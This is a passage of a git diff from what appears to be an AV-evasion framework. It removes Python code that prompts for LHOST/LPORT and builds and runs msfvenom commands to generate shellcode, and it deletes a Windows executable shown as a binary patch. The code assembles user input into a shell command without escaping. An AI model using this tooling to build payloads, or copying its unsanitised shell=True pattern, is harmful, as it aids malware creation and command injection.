else: - if not helpers.validate_hostname(value): - if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' - print(helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True)) - value = "" - - # if we don't have at least one period in the hostname/IP - else: - if 'LHOST' in self.required_options: - del self.required_options['LHOST'] - print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) - value = "" - - elif ':' in value: - try: - socket.inet_pton(socket.AF_INET6, value) - except socket.error: - if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' - print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) - value = "" - - else: - if 'LHOST' in self.required_options: - self.required_options['LHOST'][0] = '' - print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) - value = "" - - elif option == "LPORT": - try: - value = self.required_options['LPORT'][0] - print(' [>] Enter value for \'LPORT\': %s' % (value)) - except: - # set the completer to fill in the default MSF port (4444) - readline.set_completer(completer.MSFPortCompleter().complete) - value = input(' [>] Enter value for \'LPORT\': ').strip() - - try: - if int(value) <= 0 or int(value) >= 65535: - print(helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)) - if 'LPORT' in self.required_options: - self.required_options['LPORT'][0] = '' - value = "" - except ValueError: - print(helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)) - if 'LPORT' in self.required_options: - self.required_options['LPORT'][0] = '' - value = "" - - else: - value = input(' [>] Enter value for \'' + option + '\': ').strip() - - # append all the msfvenom options - self.msfvenom_options.append(option + "=" + value) - - # allow the user to input any extra OPTION=value pairs - extra_msf_options = list() - while True: - # clear out the tab completion - readline.set_completer(completer.none().complete) - selection = input(' [>] Enter any extra msfvenom options (syntax: OPTION1=value1 or -OPTION2=value2): ').strip() - if selection != "": - num_extra_options = selection.split(' ') - for xtra_opt in num_extra_options: - if xtra_opt is not '': - if "=" not in xtra_opt: - print(helpers.color(" [!] Parameter not entered in correct syntax.\n", warning=True)) - continue - if "-" in xtra_opt.split('=')[0]: - final_opt = xtra_opt.split('=')[0] + " " + xtra_opt.split('=')[1] - extra_msf_options.append(final_opt) - else: - final_opt = xtra_opt.split('=')[0] + "=" + xtra_opt.split('=')[1] - extra_msf_options.append(final_opt) - else: - break - - # grab any specified msfvenom options in the /etc/veil/settings.py file - msfvenom_options = "" - if hasattr(settings, "MSFVENOM_OPTIONS"): - msfvenom_options = settings.MSFVENOM_OPTIONS - - # build out the msfvenom command - self.msfvenomCommand = "msfvenom " + msfvenom_options + " -p " + selected_payload - for option in self.msfvenom_options: - self.msfvenomCommand += " " + option - self.options.append(option) - if len(extra_msf_options) != 0: - self.msfvenomCommand += " " + " ".join(extra_msf_options) - self.msfvenomCommand += " -f c | tr -d \'\"\' | tr -d \'\\n\'" - return - - def generate(self, required_options=None): - """ - Based on the options set by menu() or SetPayload() - either returns the custom shellcode string or calls msfvenom - and returns the result. - - Returns the shellcode string for this object. - """ - - self.required_options = required_options - - # if the msfvenom command nor shellcode are set, revert to the - # interactive menu to set any options - if self.msfvenomCommand == "" and self.custom_shellcode == "": - self.menu() - - # return custom specified shellcode if it was set previously - if self.custom_shellcode != "": - return self.custom_shellcode - - elif self.invoke_ordnance: - ordnance_loop = True - Ordnance_object = ordnance_import.Tools() - while ordnance_loop: - Ordnance_object.tool_main_menu(invoked=True) - if Ordnance_object.final_shellcode != '': - self.payload_choice = Ordnance_object.selected_payload - self.shellcode_options = Ordnance_object.payload_options - ordnance_loop = False - return Ordnance_object.final_shellcode - - # generate the shellcode using msfvenom - else: - print(helpers.color("\n [*] Generating shellcode...")) - if self.msfvenomCommand == "": - print(helpers.color(" [!] ERROR: msfvenom command not specified in payload!\n", warning=True)) - return None - else: - # Stript out extra characters, new lines, etc., just leave the shellcode. - # Tim Medin's patch for non-root non-Kali users - - msfvenom_shellcode = subprocess.check_output(settings.MSFVENOM_PATH + self.msfvenomCommand, shell=True) - self.shellcode_options = self.msfvenomCommand - msfvenom_shellcode = msfvenom_shellcode.decode('ascii') - self.msfvenomCommand = '' - - return msfvenom_shellcode[22:-1].strip() - - -def cli_msf_shellcode_gen(command_line_args): - # set variables for values for easier readability - msf_payload = command_line_args.msfvenom - ip = command_line_args.ip - port = command_line_args.port - - # Parse extra flags to be included in msfvenom command - extra_options = '' - if command_line_args.msfoptions is not None: - num_extra_options = command_line_args.msfoptions.split(' ') - for xtra_opt in num_extra_options: - if xtra_opt is not '': - if "=" not in xtra_opt: - print(helpers.color(" [!] Parameter not entered in correct syntax.\n", warning=True)) - sys.exit() - if "-" in xtra_opt.split('=')[0]: - final_opt = xtra_opt.split('=')[0] + "=" + xtra_opt.split('=')[1] - extra_options += ' ' + final_opt - else: - final_opt = xtra_opt.split('=')[0] + "=" + xtra_opt.split('=')[1] - extra_options += ' ' + final_opt - - # generate the msfvenom command - msf_command = settings.MSFVENOM_PATH + "msfvenom -p " + msf_payload + " " - msf_command += "LHOST=" + ip + " LPORT=" + str(port) - if extra_options != '': - msf_command += extra_options - # add final part to command to narrow down the msf output - msf_command += " -f c | tr -d \'\"\' | tr -d \'\\n\'" - - # Run the command and get output - msfvenom_shellcode = subprocess.check_output(msf_command, shell=True) - msfvenom_shellcode = msfvenom_shellcode.decode('ascii') - return msfvenom_shellcode[22:-1].strip() diff --git a/Tools/Evasion/evasion_common/tools/runw.orig.exe b/Tools/Evasion/evasion_common/tools/runw.orig.exe deleted file mode 100755 index 68b94190b6a7ae809aced8db8b0e7d8515d78ae4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 128512 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 